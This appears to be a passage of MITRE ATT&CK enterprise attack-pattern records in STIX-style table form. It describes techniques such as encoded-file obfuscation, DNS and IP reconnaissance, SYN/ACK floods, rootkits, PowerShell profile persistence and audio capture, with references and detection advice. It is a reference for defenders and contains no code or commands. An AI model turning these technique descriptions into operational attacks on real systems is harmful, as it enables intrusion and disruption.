attack-pattern | attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-29T12:38:17.135000Z" | "2024-04-19T04:03:07.164000Z" | Encrypted/Encoded File | Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.
This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64.
The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.
For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File)
Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.013",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/013"
},
{
"description": "Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.",
"external_id": null,
"source_name": "File obfuscation",
"url": "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/"
},
{
"description": "Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.",
"external_id": null,
"source_name": "SFX - Encrypted/Encoded File",
"url": "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T15:59:11.695000Z" | "2021-04-15T03:31:05.302000Z" | IP Addresses | Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1590.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/005"
},
{
"description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "WHOIS",
"url": "https://www.whois.net/"
},
{
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DNS Dumpster",
"url": "https://dnsdumpster.com/"
},
{
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Circl Passive DNS",
"url": "https://www.circl.lu/services/passive-dns/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T15:27:18.581000Z" | "2023-03-30T21:01:51.289000Z" | OS Exhaustion Flood | Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.
Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)
ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1499.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1499/001"
},
{
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"external_id": null,
"source_name": "Cisco DoSdetectNetflow",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
},
{
"description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Cloudflare SynFlood",
"url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/"
},
{
"description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Corero SYN-ACKflood",
"url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html"
},
{
"description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Arbor AnnualDoSreport Jan 2018",
"url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:26.496000Z" | "2023-03-30T21:01:50.568000Z" | Rootkit | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)
Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1014",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1014"
},
{
"description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
"external_id": null,
"source_name": "CrowdStrike Linux Rootkit",
"url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
},
{
"description": "Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
"external_id": null,
"source_name": "BlackHat Mac OSX Rootkit",
"url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
},
{
"description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
"external_id": null,
"source_name": "Symantec Windows Rootkits",
"url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
},
{
"description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
"external_id": null,
"source_name": "Wikipedia Rootkit",
"url": "https://en.wikipedia.org/wiki/Rootkit"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T15:11:02.758000Z" | "2023-10-20T17:04:13.976000Z" | PowerShell Profile | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.
[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.013",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/013"
},
{
"description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
"external_id": null,
"source_name": "Wits End and Shady PowerShell Profiles",
"url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
},
{
"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
"external_id": null,
"source_name": "ESET Turla PowerShell May 2019",
"url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
},
{
"description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
"external_id": null,
"source_name": "Malware Archaeology PowerShell Cheat Sheet",
"url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
},
{
"description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
"external_id": null,
"source_name": "Microsoft About Profiles",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
},
{
"description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.",
"external_id": null,
"source_name": "Microsoft Profiles",
"url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:
* <code>$PsHome\Profile.ps1</code>
* <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code>
* <code>$Home\\\[My ]Documents\PowerShell\Profile.ps1</code>
* <code>$Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>
Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-23T19:12:24.924000Z" | "2021-08-16T21:02:05.142000Z" | JavaScript | Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)
JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)
Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1059.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/007"
},
{
"description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "NodeJS",
"url": "https://nodejs.org/"
},
{
"description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "JScrip May 2018",
"url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript"
},
{
"description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "Microsoft JScript 2007",
"url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"
},
{
"description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "Microsoft Windows Scripts",
"url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"
},
{
"description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.",
"external_id": null,
"source_name": "Apple About Mac Scripting 2016",
"url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"
},
{
"description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.",
"external_id": null,
"source_name": "SpecterOps JXA 2020",
"url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
},
{
"description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
"external_id": null,
"source_name": "SentinelOne macOS Red Team",
"url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
},
{
"description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.",
"external_id": null,
"source_name": "Red Canary Silver Sparrow Feb2021",
"url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
},
{
"description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.",
"external_id": null,
"source_name": "MDSec macOS JXA and VSCode",
"url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.
Monitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.
Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 2.1 |
attack-pattern | attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T15:47:10.102000Z" | "2022-10-21T14:32:48.393000Z" | DNS | Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)
Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1590.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/002"
},
{
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Circl Passive DNS",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DNS Dumpster",
"url": "https://dnsdumpster.com/"
},
{
"description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Sean Metcalf Twitter DNS Records",
"url": "https://twitter.com/PyroTek3/status/1126487227712921600/photo/1"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:34.528000Z" | "2024-01-23T22:53:18.389000Z" | Audio Capture | An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1123",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1123"
},
{
"description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
"external_id": null,
"source_name": "ESET Attor Oct 2019",
"url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-10T16:03:18.865000Z" | "2024-02-15T14:14:03.942000Z" | Create or Modify System Process | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)
Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.
Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1543",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543"
},
{
"description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "AppleDocs Launch Agent Daemons",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
"external_id": null,
"source_name": "TechNet Services",
"url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
},
{
"description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "OSX Malware Detection",
"url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques.
Monitor for changes to files associated with system-level processes. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux",
"Containers"
] | 1.2 |
attack-pattern | attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:44.421000Z" | "2023-03-30T21:01:36.318000Z" | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)
Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
] | false | [
{
"description": null,
"external_id": "T1133",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1133"
},
{
"description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
"external_id": null,
"source_name": "Volexity Virtual Private Keylogging",
"url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
},
{
"description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
"external_id": null,
"source_name": "MacOS VNC software for Remote Desktop",
"url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
},
{
"description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
"external_id": null,
"source_name": "Unit 42 Hildegard Malware",
"url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
},
{
"description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.",
"external_id": null,
"source_name": "Trend Micro Exposed Docker Server",
"url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
